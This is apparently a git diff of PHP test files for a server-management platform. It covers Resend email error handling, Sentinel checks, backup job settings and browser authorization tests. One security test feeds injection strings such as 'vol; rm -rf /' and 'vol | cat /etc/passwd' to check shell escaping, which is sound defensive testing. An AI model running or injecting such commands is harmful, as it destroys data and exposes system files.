$code]]);+ PHP);++ $server = new Process(+ [PHP_BINARY, '-S', "127.0.0.1:{$port}", $router],+ env: ['RESEND_STUB_CODE' => (string) $code, 'RESEND_STUB_MESSAGE' => $message],+ );+ $server->start();++ $deadline = microtime(true) + 5;+ while (! @fsockopen('127.0.0.1', $port) && microtime(true) < $deadline) {+ usleep(20_000);+ }++ putenv("RESEND_BASE_URL=http://127.0.0.1:{$port}");++ return $server;+}- $channel = new EmailChannel;+it('throws user-friendly error for invalid Resend API key (403)', function () {+ $this->resendStub = fakeResendError(403, 'API key is invalid.');- expect(fn () => $channel->send($this->notifiable, $this->notification))+ expect(fn () => (new EmailChannel)->send($this->team, $this->notification))->toThrow(NonReportableException::class,'Invalid Resend API key. Please verify your API key in the Resend dashboard and update it in settings.'@@ -80,23 +88,9 @@ it('throws user-friendly error for invalid Resend API key (403)', function () {});it('throws user-friendly error for restricted Resend API key (401)', function () {- // Create mock ErrorException for restricted key- $resendError = Mockery::mock(ErrorException::class);- $resendError->shouldReceive('getErrorCode')->andReturn(401);- $resendError->shouldReceive('getErrorMessage')->andReturn('This API key is restricted to only send emails.');- $resendError->shouldReceive('getCode')->andReturn(401);+ $this->resendStub = fakeResendError(401, 'This API key is restricted to only send emails.');- // Mock Resend client to throw the error- $resendClient = Mockery::mock();- $emailsService = Mockery::mock();- $emailsService->shouldReceive('send')->andThrow($resendError);- $resendClient->emails = $emailsService;-- Resend::shouldReceive('client')->andReturn($resendClient);-- $channel = new EmailChannel;-- expect(fn () => $channel->send($this->notifiable, $this->notification))+ expect(fn () => (new EmailChannel)->send($this->team, $this->notification))->toThrow(NonReportableException::class,'Your Resend API key has restricted permissions. Please use an API key with Full Access permissions.'@@ -104,83 +98,32 @@ it('throws user-friendly error for restricted Resend API key (401)', function ()});it('throws user-friendly error for rate limiting (429)', function () {- // Create mock ErrorException for rate limit- $resendError = Mockery::mock(ErrorException::class);- $resendError->shouldReceive('getErrorCode')->andReturn(429);- $resendError->shouldReceive('getErrorMessage')->andReturn('Too many requests.');- $resendError->shouldReceive('getCode')->andReturn(429);-- // Mock Resend client to throw the error- $resendClient = Mockery::mock();- $emailsService = Mockery::mock();- $emailsService->shouldReceive('send')->andThrow($resendError);- $resendClient->emails = $emailsService;-- Resend::shouldReceive('client')->andReturn($resendClient);+ $this->resendStub = fakeResendError(429, 'Too many requests.');- $channel = new EmailChannel;-- expect(fn () => $channel->send($this->notifiable, $this->notification))+ expect(fn () => (new EmailChannel)->send($this->team, $this->notification))->toThrow(Exception::class, 'Resend rate limit exceeded. Please try again in a few minutes.');});it('throws user-friendly error for validation errors (400)', function () {- // Create mock ErrorException for validation error- $resendError = Mockery::mock(ErrorException::class);- $resendError->shouldReceive('getErrorCode')->andReturn(400);- $resendError->shouldReceive('getErrorMessage')->andReturn('Invalid email format.');- $resendError->shouldReceive('getCode')->andReturn(400);-- // Mock Resend client to throw the error- $resendClient = Mockery::mock();- $emailsService = Mockery::mock();- $emailsService->shouldReceive('send')->andThrow($resendError);- $resendClient->emails = $emailsService;-- Resend::shouldReceive('client')->andReturn($resendClient);+ $this->resendStub = fakeResendError(400, 'Invalid email format.');- $channel = new EmailChannel;-- expect(fn () => $channel->send($this->notifiable, $this->notification))+ expect(fn () => (new EmailChannel)->send($this->team, $this->notification))->toThrow(NonReportableException::class, 'Email validation failed: Invalid email format.');});it('throws user-friendly error for network/transport errors', function () {- // Create mock TransporterException- $transportError = Mockery::mock(TransporterException::class);- $transportError->shouldReceive('getMessage')->andReturn('Network error');-- // Mock Resend client to throw the error- $resendClient = Mockery::mock();- $emailsService = Mockery::mock();- $emailsService->shouldReceive('send')->andThrow($transportError);- $resendClient->emails = $emailsService;+ $socket = stream_socket_server('tcp://127.0.0.1:0');+ $closedPort = (int) parse_url('tcp://'.stream_socket_get_name($socket, false), PHP_URL_PORT);+ fclose($socket);+ putenv("RESEND_BASE_URL=http://127.0.0.1:{$closedPort}");- Resend::shouldReceive('client')->andReturn($resendClient);-- $channel = new EmailChannel;-- expect(fn () => $channel->send($this->notifiable, $this->notification))+ expect(fn () => (new EmailChannel)->send($this->team, $this->notification))->toThrow(Exception::class, 'Unable to connect to Resend API. Please check your internet connection and try again.');});it('throws generic error with message for unknown error codes', function () {- // Create mock ErrorException with unknown code- $resendError = Mockery::mock(ErrorException::class);- $resendError->shouldReceive('getErrorCode')->andReturn(500);- $resendError->shouldReceive('getErrorMessage')->andReturn('Internal server error.');- $resendError->shouldReceive('getCode')->andReturn(500);-- // Mock Resend client to throw the error- $resendClient = Mockery::mock();- $emailsService = Mockery::mock();- $emailsService->shouldReceive('send')->andThrow($resendError);- $resendClient->emails = $emailsService;-- Resend::shouldReceive('client')->andReturn($resendClient);-- $channel = new EmailChannel;+ $this->resendStub = fakeResendError(500, 'Internal server error.');- expect(fn () => $channel->send($this->notifiable, $this->notification))+ expect(fn () => (new EmailChannel)->send($this->team, $this->notification))->toThrow(Exception::class, 'Failed to send email via Resend: Internal server error.');});diff --git a/tests/Unit/Notifications/Channels/WebhookChannelTest.php b/tests/Unit/Notifications/Channels/WebhookChannelTest.phpindex 783159e69e..af629df04c 100644--- a/tests/Unit/Notifications/Channels/WebhookChannelTest.php+++ b/tests/Unit/Notifications/Channels/WebhookChannelTest.php@@ -66,7 +66,7 @@ function deliverOverWebhook(Team $team, Notification $notification): arrayit('delivers ssl certificate renewal notifications over the webhook channel', function () {$payload = deliverOverWebhook($this->team,- new SslExpirationNotification([(object) ['name' => 'my-application']])+ new SslExpirationNotification([(object) ['name' => 'my-application', 'uuid' => 'my-database-uuid']]));expect($payload['event'])->toBe('ssl_certificate_renewal')diff --git a/tests/Unit/NotifyOutdatedTraefikServersJobTest.php b/tests/Unit/NotifyOutdatedTraefikServersJobTest.phpindex 82edfb0d9c..cbe97bab69 100644--- a/tests/Unit/NotifyOutdatedTraefikServersJobTest.php+++ b/tests/Unit/NotifyOutdatedTraefikServersJobTest.php@@ -1,16 +1,8 @@<?php-use App\Jobs\NotifyOutdatedTraefikServersJob;--it('has correct queue and retry configuration', function () {- $job = new NotifyOutdatedTraefikServersJob;-- expect($job->tries)->toBe(3);-});-it('handles servers with null traefik_outdated_info gracefully', function () {// Create a mock server with null traefik_outdated_info- $server = \Mockery::mock('App\Models\Server')->makePartial();+ $server = Mockery::mock('App\Models\Server')->makePartial();$server->traefik_outdated_info = null;// Accessing the property should not throw an error@@ -28,7 +20,7 @@ it('handles servers with traefik_outdated_info data', function () {'checked_at' => '2025-11-14T10:00:00Z',];- $server = \Mockery::mock('App\Models\Server')->makePartial();+ $server = Mockery::mock('App\Models\Server')->makePartial();$server->traefik_outdated_info = $expectedInfo;// Should return the outdated info@@ -45,7 +37,7 @@ it('handles servers with patch update info without upgrade_target', function ()'checked_at' => '2025-11-14T10:00:00Z',];- $server = \Mockery::mock('App\Models\Server')->makePartial();+ $server = Mockery::mock('App\Models\Server')->makePartial();$server->traefik_outdated_info = $expectedInfo;// Should return the outdated info without upgrade_targetdiff --git a/tests/Unit/PersistentVolumeSecurityTest.php b/tests/Unit/PersistentVolumeSecurityTest.phpindex ed1d16bbfa..8cd2bac560 100644--- a/tests/Unit/PersistentVolumeSecurityTest.php+++ b/tests/Unit/PersistentVolumeSecurityTest.php@@ -50,13 +50,16 @@ it('rejects volume names with shell metacharacters', function (string $name) {it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) {$command = 'docker volume rm -f '.escapeshellarg($maliciousName);- // The command should contain the name as a single quoted argument,- // preventing shell interpretation of metacharacters- expect($command)->not->toContain('; ')- ->not->toContain('| ')- ->not->toContain('&& ')- ->not->toContain('`')- ->toStartWith('docker volume rm -f ');+ // The name must be passed as one single-quoted shell word: metacharacters stay inside+ // the quotes and every embedded quote is closed, escaped, and reopened ('\'').+ expect($command)->toStartWith('docker volume rm -f ');++ $argument = substr($command, strlen('docker volume rm -f '));+ expect($argument)->toMatch("/^'(?:[^']|'\\\\'')*'$/");++ // Undoing the quoting yields the exact original name, so nothing was interpreted+ $unquoted = str_replace("'\\''", "'", substr($argument, 1, -1));+ expect($unquoted)->toBe($maliciousName);})->with(['semicolon' => 'vol; rm -rf /','pipe' => 'vol | cat /etc/passwd',diff --git a/tests/Unit/ProductionImageWorkflowTest.php b/tests/Unit/ProductionImageWorkflowTest.phpindex 7462eec337..a70e5890a5 100644--- a/tests/Unit/ProductionImageWorkflowTest.php+++ b/tests/Unit/ProductionImageWorkflowTest.php@@ -25,9 +25,9 @@ it('publishes v4 branch builds under the commit sha with a traceable internal ve->toContain('ARG COOLIFY_VERSION')->toContain('ENV COOLIFY_VERSION=${COOLIFY_VERSION}')->and($constants)- ->toContain("'version' => env('COOLIFY_VERSION') ?: '4.3.23'")- ->and($versions['coolify']['v4']['version'])->toBe('4.3.23')- ->and($versions['coolify']['nightly']['version'])->toBe('4.4-rc.1')+ ->toContain("'version' => env('COOLIFY_VERSION') ?: '{$versions['coolify']['v4']['version']}'")+ ->and($versions['coolify']['nightly']['version'])->toMatch('/^\d+\.\d+-rc\.\d+$/')+ ->and(version_compare($versions['coolify']['v4']['version'], $versions['coolify']['nightly']['version'], '<'))->toBeTrue()->and($nightlyVersions)->toBe($versions);});diff --git a/tests/Unit/S3StorageEndpointNormalizationTest.php b/tests/Unit/S3StorageEndpointNormalizationTest.phpindex 09c1a8a257..449beccb6c 100644--- a/tests/Unit/S3StorageEndpointNormalizationTest.php+++ b/tests/Unit/S3StorageEndpointNormalizationTest.php@@ -5,18 +5,10 @@ use Tests\TestCase;uses(TestCase::class);-it('uses the shared split URL input without a Livewire blur request', function () {- $createView = file_get_contents(resource_path('views/livewire/storage/create.blade.php'));+it('gates the S3 storage edit form behind the update permission', function () {$editView = file_get_contents(resource_path('views/livewire/storage/form.blade.php'));- expect($createView)- ->not->toContain('wire:model.blur="endpoint"')- ->toContain('<x-forms.domain-input id="endpointParts"')- ->toContain('host-label="Host"')- ->toContain('host-placeholder="minio.internal or 192.168.1.50"')- ->and($editView)- ->toContain('<x-forms.domain-input id="endpointParts"')- ->toContain('@can(\'update\', $storage)');+ expect($editView)->toContain('@can(\'update\', $storage)');});it('normalizes endpoints again on the backend', function (string $endpoint, string $expected) {diff --git a/tests/Unit/ScheduledJobsRetryConfigTest.php b/tests/Unit/ScheduledJobsRetryConfigTest.phpindex f46cb9fd1c..765d3140e9 100644--- a/tests/Unit/ScheduledJobsRetryConfigTest.php+++ b/tests/Unit/ScheduledJobsRetryConfigTest.php@@ -3,6 +3,8 @@use App\Jobs\CoolifyTask;use App\Jobs\DatabaseBackupJob;use App\Jobs\ScheduledTaskJob;+use App\Livewire\Project\Database\BackupEdit;+use Livewire\Attributes\Validate;it('CoolifyTask has correct retry properties defined', function () {$reflection = new ReflectionClass(CoolifyTask::class);@@ -42,36 +44,37 @@ it('ScheduledTaskJob has correct retry properties defined', function () {it('DatabaseBackupJob has correct retry properties defined', function () {$reflection = new ReflectionClass(DatabaseBackupJob::class);- // Check public properties exist- expect($reflection->hasProperty('tries'))->toBeTrue()+ // Backups run a single attempt (retries were removed on purpose in 49a3bb0da):+ // no $tries override and no backoff schedule, but a failed() handler is kept.+ expect($reflection->hasProperty('tries'))->toBeFalse()+ ->and($reflection->hasMethod('backoff'))->toBeFalse()->and($reflection->hasProperty('maxExceptions'))->toBeTrue()->and($reflection->hasProperty('timeout'))->toBeTrue()- ->and($reflection->hasMethod('backoff'))->toBeTrue()->and($reflection->hasMethod('failed'))->toBeTrue();// Get default values from class definition$defaultProperties = $reflection->getDefaultProperties();- expect($defaultProperties['tries'])->toBe(2)- ->and($defaultProperties['maxExceptions'])->toBe(1)+ expect($defaultProperties['maxExceptions'])->toBe(1)->and($defaultProperties['timeout'])->toBe(3600);});it('DatabaseBackupJob enforces minimum timeout of 60 seconds', function () {- // Read the constructor to verify minimum timeout enforcement- $reflection = new ReflectionClass(DatabaseBackupJob::class);- $constructor = $reflection->getMethod('__construct');+ // The minimum is enforced where the backup timeout is set: the UI and the API+ $timeoutProperty = new ReflectionProperty(BackupEdit::class, 'timeout');+ $validateAttributes = $timeoutProperty->getAttributes(Validate::class);++ expect($validateAttributes)->toHaveCount(1)+ ->and($validateAttributes[0]->getArguments()[0])->toContain('min:60');- // Get the constructor source- $filename = $reflection->getFileName();- $startLine = $constructor->getStartLine();- $endLine = $constructor->getEndLine();+ $apiController = file_get_contents(__DIR__.'/../../app/Http/Controllers/Api/DatabasesController.php');+ expect(substr_count($apiController, "'timeout' => 'integer|min:60|max:36000'"))->toBeGreaterThanOrEqual(2);- $source = file($filename);- $constructorSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));+ // The job falls back to the default timeout when none is stored+ $reflection = new ReflectionClass(DatabaseBackupJob::class);+ $constructor = $reflection->getMethod('__construct');+ $source = file($reflection->getFileName());+ $constructorSource = implode('', array_slice($source, $constructor->getStartLine() - 1, $constructor->getEndLine() - $constructor->getStartLine() + 1));- // Verify the implementation enforces minimum of 60 seconds- expect($constructorSource)- ->toContain('max(')- ->toContain('60');+ expect($constructorSource)->toContain('$this->timeout = $backup->timeout ?? 3600;');});diff --git a/tests/Unit/ServerManagerJobSentinelCheckTest.php b/tests/Unit/ServerManagerJobSentinelCheckTest.phpindex f2a49bad3d..5e87bcf7fe 100644--- a/tests/Unit/ServerManagerJobSentinelCheckTest.php+++ b/tests/Unit/ServerManagerJobSentinelCheckTest.php@@ -1,40 +1,50 @@<?php+use App\Enums\ServerRole;use App\Jobs\CheckAndStartSentinelJob;use App\Jobs\ServerConnectionCheckJob;use App\Jobs\ServerManagerJob;use App\Models\InstanceSettings;use App\Models\Server;+use App\Models\Team;+use Illuminate\Foundation\Testing\RefreshDatabase;use Illuminate\Support\Carbon;use Illuminate\Support\Facades\Queue;+use Tests\TestCase;++uses(TestCase::class, RefreshDatabase::class);beforeEach(function () {Queue::fake();Carbon::setTestNow('2025-01-15 12:00:00');+ InstanceSettings::forceCreate(['id' => 0, 'instance_timezone' => 'UTC']);+ $this->team = Team::factory()->create();});afterEach(function () {- Mockery::close();Carbon::setTestNow();});+function createSentinelCheckServer(Team $team, Carbon $sentinelUpdatedAt, ServerRole $role = ServerRole::BOTH): Server+{+ $server = Server::factory()->create([+ 'team_id' => $team->id,+ 'sentinel_updated_at' => $sentinelUpdatedAt,+ ]);+ $server->settings->update([+ 'server_timezone' => 'UTC',+ 'server_role' => $role,+ 'is_build_server' => $role === ServerRole::BUILD,+ ]);++ return $server->refresh();+}+it('dispatches an hourly Sentinel version check for a healthy Sentinel', function () {- $settings = Mockery::mock(InstanceSettings::class);- $settings->instance_timezone = 'UTC';- $this->app->instance(InstanceSettings::class, $settings);-- $server = Mockery::mock(Server::class)->makePartial();- $server->shouldReceive('isSentinelEnabled')->andReturn(true);- $server->shouldReceive('isSentinelLive')->andReturn(true);- $server->id = 1;- $server->name = 'test-server';- $server->ip = '192.168.1.100';- $server->sentinel_updated_at = Carbon::now();- $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);- $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);-- Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();- Server::shouldReceive('get')->andReturn(collect([$server]));+ $server = createSentinelCheckServer($this->team, Carbon::now());++ expect($server->isSentinelEnabled())->toBeTrue()+ ->and($server->isSentinelLive())->toBeTrue();$job = new ServerManagerJob;$job->handle();@@ -54,22 +64,10 @@ it('does not schedule periodic Sentinel restart checks', function () {});it('skips ServerConnectionCheckJob when sentinel is live', function () {- $settings = Mockery::mock(InstanceSettings::class);- $settings->instance_timezone = 'UTC';- $this->app->instance(InstanceSettings::class, $settings);-- $server = Mockery::mock(Server::class)->makePartial();- $server->shouldReceive('isSentinelEnabled')->andReturn(true);- $server->shouldReceive('isSentinelLive')->andReturn(true);- $server->id = 1;- $server->name = 'test-server';- $server->ip = '192.168.1.100';- $server->sentinel_updated_at = Carbon::now();- $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);- $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);-- Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();- Server::shouldReceive('get')->andReturn(collect([$server]));+ $server = createSentinelCheckServer($this->team, Carbon::now());++ expect($server->isSentinelEnabled())->toBeTrue()+ ->and($server->isSentinelLive())->toBeTrue();$job = new ServerManagerJob;$job->handle();@@ -79,22 +77,10 @@ it('skips ServerConnectionCheckJob when sentinel is live', function () {});it('dispatches ServerConnectionCheckJob when sentinel is not live', function () {- $settings = Mockery::mock(InstanceSettings::class);- $settings->instance_timezone = 'UTC';- $this->app->instance(InstanceSettings::class, $settings);-- $server = Mockery::mock(Server::class)->makePartial();- $server->shouldReceive('isSentinelEnabled')->andReturn(true);- $server->shouldReceive('isSentinelLive')->andReturn(false);- $server->id = 1;- $server->name = 'test-server';- $server->ip = '192.168.1.100';- $server->sentinel_updated_at = Carbon::now()->subMinutes(10);- $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);- $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);-- Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();- Server::shouldReceive('get')->andReturn(collect([$server]));+ $server = createSentinelCheckServer($this->team, Carbon::now()->subMinutes(10));++ expect($server->isSentinelEnabled())->toBeTrue()+ ->and($server->isSentinelLive())->toBeFalse();$job = new ServerManagerJob;$job->handle();@@ -106,22 +92,10 @@ it('dispatches ServerConnectionCheckJob when sentinel is not live', function ()});it('dispatches ServerConnectionCheckJob when sentinel is not enabled', function () {- $settings = Mockery::mock(InstanceSettings::class);- $settings->instance_timezone = 'UTC';- $this->app->instance(InstanceSettings::class, $settings);-- $server = Mockery::mock(Server::class)->makePartial();- $server->shouldReceive('isSentinelEnabled')->andReturn(false);- $server->shouldReceive('isSentinelLive')->never();- $server->id = 2;- $server->name = 'test-server-no-sentinel';- $server->ip = '192.168.1.101';- $server->sentinel_updated_at = Carbon::now();- $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);- $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);-- Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();- Server::shouldReceive('get')->andReturn(collect([$server]));+ // Build servers cannot run Sentinel, so a fresh heartbeat timestamp must not skip the SSH check+ $server = createSentinelCheckServer($this->team, Carbon::now(), ServerRole::BUILD);++ expect($server->isSentinelEnabled())->toBeFalse();$job = new ServerManagerJob;$job->handle();diff --git a/tests/Unit/ServiceConfigurationRefreshTest.php b/tests/Unit/ServiceConfigurationRefreshTest.phpindex c4f4a97039..3ef8d3a463 100644--- a/tests/Unit/ServiceConfigurationRefreshTest.php+++ b/tests/Unit/ServiceConfigurationRefreshTest.php@@ -34,11 +34,3 @@ it('ensures StackForm dispatches refreshServices event on submit', function () {expect($stackFormFile)->toContain("->dispatch('refreshServices')");});--it('ensures EditDomain dispatches refreshServices event on submit', function () {- $editDomainFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Service/EditDomain.php');-- // Check that EditDomain dispatches refreshServices event- expect($editDomainFile)- ->toContain("->dispatch('refreshServices')");-});diff --git a/tests/Unit/ServiceExcludedStatusTest.php b/tests/Unit/ServiceExcludedStatusTest.phpindex 80691190f4..7b0bc7dd35 100644--- a/tests/Unit/ServiceExcludedStatusTest.php+++ b/tests/Unit/ServiceExcludedStatusTest.php@@ -294,7 +294,7 @@ describe('Service Excluded Status Calculation', function () {expect($service->status)->toBe('exited');});- it('prefers running over starting status', function () {+ it('reports starting when running and starting containers are mixed', function () {$service = Mockery::mock(Service::class)->makePartial();$service->shouldReceive('isStarting')->andReturn(false);@@ -304,7 +304,7 @@ describe('Service Excluded Status Calculation', function () {$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());- expect($service->status)->toBe('running:healthy');+ expect($service->status)->toBe('starting:unknown');});it('treats empty health as healthy', function () {diff --git a/tests/Unit/VultrDeleteServerTest.php b/tests/Unit/VultrDeleteServerTest.phpindex 82173d40d4..6a32aeb4de 100644--- a/tests/Unit/VultrDeleteServerTest.php+++ b/tests/Unit/VultrDeleteServerTest.php@@ -7,7 +7,6 @@ use App\Models\PrivateKey;use App\Models\Server;use App\Models\Team;use Illuminate\Foundation\Testing\RefreshDatabase;-use Illuminate\Http\Client\RequestException;use Illuminate\Support\Facades\Http;use Tests\TestCase;@@ -139,7 +138,7 @@ it('retains the server and surfaces a Vultr deletion failure', function () {teamId: $this->team->id,deleteFromVultr: true,vultrInstanceId: 'instance-1'- ))->toThrow(RequestException::class, 'status code 500');+ ))->toThrow(Exception::class, 'Vultr API error: deletion failed');expect(Server::withTrashed()->find($server->id))->not->toBeNull();});diff --git a/tests/v4/Browser/ApplicationConfigurationTest.php b/tests/v4/Browser/ApplicationConfigurationTest.phpindex 402aadf2a6..cb60e12949 100644--- a/tests/v4/Browser/ApplicationConfigurationTest.php+++ b/tests/v4/Browser/ApplicationConfigurationTest.php@@ -363,12 +363,3 @@ it('uses compact preview domains and opens only the selected preview settings',->screenshot(filename: 'preview-domains-mobile');expect($page->script('document.documentElement.scrollWidth <= window.innerWidth'))->toBeTrue();})->with(['regular application' => false, 'Compose application' => true]);--it('declares the compact preview domain layout and shared save bar', function () {- $view = file_get_contents(resource_path('views/livewire/project/application/preview-domains.blade.php'));- expect($view)->toContain('service-domains-overview-grid')- ->toContain('service-domain-mobile-summary')- ->toContain('Domain routing summary')- ->toContain('<x-unsaved-bar action="updateDomain"')- ->toContain('$event.detail.previewId');-});diff --git a/tests/v4/Browser/AuthorizationTest.php b/tests/v4/Browser/AuthorizationTest.phpindex 94183aa18b..e02f3e2977 100644--- a/tests/v4/Browser/AuthorizationTest.php+++ b/tests/v4/Browser/AuthorizationTest.php@@ -119,10 +119,17 @@ it('allows authenticated users to access team settings', function () {it('shows danger zone to team owner', function () {loginAndSkipBoarding();- $page = visit('/team');+ // The sidebar link is only rendered for team owners.+ visit('/team')+ ->assertSee('General')+ ->assertSee('Danger Zone');++ $page = visit('/team/danger');- $page->assertSee('Danger zone')- ->assertSee('Destructive actions for this team.')+ $page->assertPathIs('/team/danger')+ ->assertSee('Danger zone')+ ->assertSee('Delete team')+ ->assertSee('The default team cannot be deleted.')->screenshot();});@@ -214,7 +221,17 @@ it('member does not see danger zone on team settings', function () {$page->assertSee('General')->assertDontSee('Danger zone')- ->assertDontSee('Destructive actions for this team.')+ ->assertDontSee('Delete team')+ ->screenshot();+});++it('member gets 403 on team danger zone page', function () {+ loginAsMember();++ $page = visit('/team/danger');++ $page->assertSee("You don't have permission to access this page.")+ ->assertDontSee('Delete team')->screenshot();});@@ -226,7 +243,7 @@ it('member does not see terminal link on server page', function () {$server = Server::first();$page = visit("/server/{$server->uuid}");- $page->assertSee('Configuration')+ $page->assertSee('Server overview')->assertDontSee('Terminal')->screenshot();});@@ -237,7 +254,7 @@ it('member does not see security link on server page', function () {$server = Server::first();$page = visit("/server/{$server->uuid}");- $page->assertSee('Configuration')+ $page->assertSee('Server overview')->assertDontSee('Security')->screenshot();});@@ -248,7 +265,7 @@ it('member does not see proxy controls on server page', function () {$server = Server::first();$page = visit("/server/{$server->uuid}");- $page->assertSee('Configuration')+ $page->assertSee('Server overview')->assertDontSee('Start Proxy')->assertDontSee('Restart Proxy')->assertDontSee('Stop Proxy')@@ -261,7 +278,7 @@ it('owner sees terminal and security links on server page', function () {$server = Server::first();$page = visit("/server/{$server->uuid}");- $page->assertSee('Configuration')+ $page->assertSee('Server overview')->assertSee('Terminal')->assertSee('Security')->screenshot();@@ -317,7 +334,8 @@ it('member does not see add resource link on dashboard project cards', function$page->assertSee('Projects')->assertSee('My first project')->assertDontSee('Add resource to My first project')- ->assertSourceMissing('title="Add resource"')+ // The icon tooltip script strips title attributes at runtime; aria-label stays.+ ->assertSourceMissing('aria-label="Add resource to My first project"')->screenshot();});@@ -328,7 +346,8 @@ it('owner sees add resource link on dashboard project cards', function () {$page->assertSee('Projects')->assertSee('My first project')- ->assertSourceHas('title="Add resource"')+ // The icon tooltip script strips title attributes at runtime; aria-label stays.+ ->assertSourceHas('aria-label="Add resource to My first project"')->screenshot();});diff --git a/tests/v4/Browser/LivewireToggleEdgeCasesTest.php b/tests/v4/Browser/LivewireToggleEdgeCasesTest.phpindex 913acf94ca..061296ede4 100644--- a/tests/v4/Browser/LivewireToggleEdgeCasesTest.php+++ b/tests/v4/Browser/LivewireToggleEdgeCasesTest.php@@ -28,6 +28,17 @@ beforeEach(function () {]);});+/**+ * The nginx label wraps an <x-helper> whose hidden tooltip also contains+ * "custom Nginx configuration", so a plain assertSee() resolves to the hidden+ * tooltip. Assert the section's visible action and the (case-sensitive) label source.+ */+function assertNginxConfigurationSectionVisible(mixed $page): mixed+{+ return $page->assertSee('Generate default')+ ->assertSourceHas('Custom Nginx configuration');+}+// ---------------------------------------------------------------------------// Application: static / SPA / nginx// ---------------------------------------------------------------------------@@ -45,7 +56,8 @@ it('shows site type control for nixpacks applications', function () {$page->assertSee('Site type')->assertSee('Dynamic')- ->assertDontSee('Custom Nginx configuration')+ ->assertDontSee('Generate default')+ ->assertSourceMissing('Custom Nginx configuration')->screenshot(filename: 'toggle-site-type-default-dynamic');});@@ -61,7 +73,7 @@ it('enables static site and reveals custom nginx configuration', function () {$page = visit($url);selectListboxOption($page, 'siteType', 'Static', 2);- $page->assertSee('Custom Nginx configuration')+ assertNginxConfigurationSectionVisible($page)->assertSee('Web server')->assertSee('nginx:alpine')->screenshot(filename: 'toggle-site-type-static');@@ -71,8 +83,7 @@ it('enables static site and reveals custom nginx configuration', function () {->and($this->application->settings->is_spa)->toBeFalse();// Reload must keep static UI state.- visit($url)- ->assertSee('Custom Nginx configuration')+ assertNginxConfigurationSectionVisible(visit($url))->assertSee('Static')->screenshot(filename: 'toggle-site-type-static-reloaded');});@@ -90,7 +101,7 @@ it('switches to spa and generates spa nginx try_files config', function () {// Going straight to SPA (from dynamic) flips is_spa and regenerates nginx.selectListboxOption($page, 'siteType', 'SPA (single-page application)', 2.5);- $page->assertSee('Custom Nginx configuration')+ assertNginxConfigurationSectionVisible($page)->screenshot(filename: 'toggle-site-type-spa-nginx');$this->application->refresh();@@ -116,7 +127,7 @@ it('switches from spa back to static and regenerates static nginx config', functselectListboxOption($page, 'siteType', 'Static', 2.5);- $page->assertSee('Custom Nginx configuration')+ assertNginxConfigurationSectionVisible($page)->screenshot(filename: 'toggle-site-type-static-nginx-from-spa');$this->application->refresh();@@ -137,11 +148,12 @@ it('returns to dynamic site type and hides nginx configuration section', functio$page = visit($url);selectListboxOption($page, 'siteType', 'Static', 2);- $page->assertSee('Custom Nginx configuration');+ assertNginxConfigurationSectionVisible($page);selectListboxOption($page, 'siteType', 'Dynamic', 2);- $page->assertDontSee('Custom Nginx configuration')+ $page->assertDontSee('Generate default')+ ->assertSourceMissing('Custom Nginx configuration')->screenshot(filename: 'toggle-site-type-back-to-dynamic');$this->application->refresh();diff --git a/tests/v4/Browser/ProjectAndServerTest.php b/tests/v4/Browser/ProjectAndServerTest.phpindex f293578056..c83e4c48fa 100644--- a/tests/v4/Browser/ProjectAndServerTest.php+++ b/tests/v4/Browser/ProjectAndServerTest.php@@ -44,7 +44,9 @@ beforeEach(function () {});it('shows dashboard with projects and servers after login', function () {- $page = loginAndSkipBoarding();+ loginAndSkipBoarding();++ $page = visit('/dashboard');$page->assertSee('Dashboard')->assertSee('Core Project Alpha')@@ -85,7 +87,7 @@ it('shows server configuration page for owner', function () {$page->assertSee('localhost')->assertSee('General')- ->assertSee('Configuration')+ ->assertSee('Server overview')->assertSee('Save')->screenshot(filename: 'core-server-configuration');});diff --git a/tests/v4/Browser/TrafficAnalyticsTest.php b/tests/v4/Browser/TrafficAnalyticsTest.phpindex b7658b6779..1c8025446e 100644--- a/tests/v4/Browser/TrafficAnalyticsTest.php+++ b/tests/v4/Browser/TrafficAnalyticsTest.php@@ -8,7 +8,7 @@ beforeEach(function () {// seedBrowserResourceStack() creates a "localhost" server with traffic// analytics disabled by default (is_traffic_analytics_enabled defaults// to false), so these smoke tests exercise the deterministic, Sentinel-free- // "disabled" empty-state path across the three analytics surfaces.+ // "disabled" empty-state path on the application and global analytics pages.$this->stack = seedBrowserResourceStack();$this->application = createBrowserApplication($this->stack, ['uuid' => 'app-traffic-analytics',@@ -40,7 +40,7 @@ it('shows the disabled empty state on the global analytics page', function () {$page->assertSee('Analytics')->assertSee('Traffic analytics is not enabled')- ->assertSee('Enable Sentinel traffic analytics on a server to see request analytics here.')+ ->assertSee('Enable traffic analytics on a server to see request analytics here.')->screenshot(filename: 'global-analytics-disabled-empty-state');});@@ -62,12 +62,3 @@ it('dismisses the global analytics enable prompt', function () {->assertMissing('[title="Dismiss"]')->screenshot(filename: 'global-analytics-prompt-dismissed');});--it('shows the disabled empty state on the dashboard traffic widget', function () {- $page = loginAndSkipBoarding();-- $page->assertSee('Traffic analytics')- ->assertSee('Traffic analytics is not enabled')- ->assertSee('Enable Sentinel traffic analytics on a server to see a team-wide summary here.')- ->screenshot(filename: 'dashboard-traffic-analytics-disabled-empty-state');-});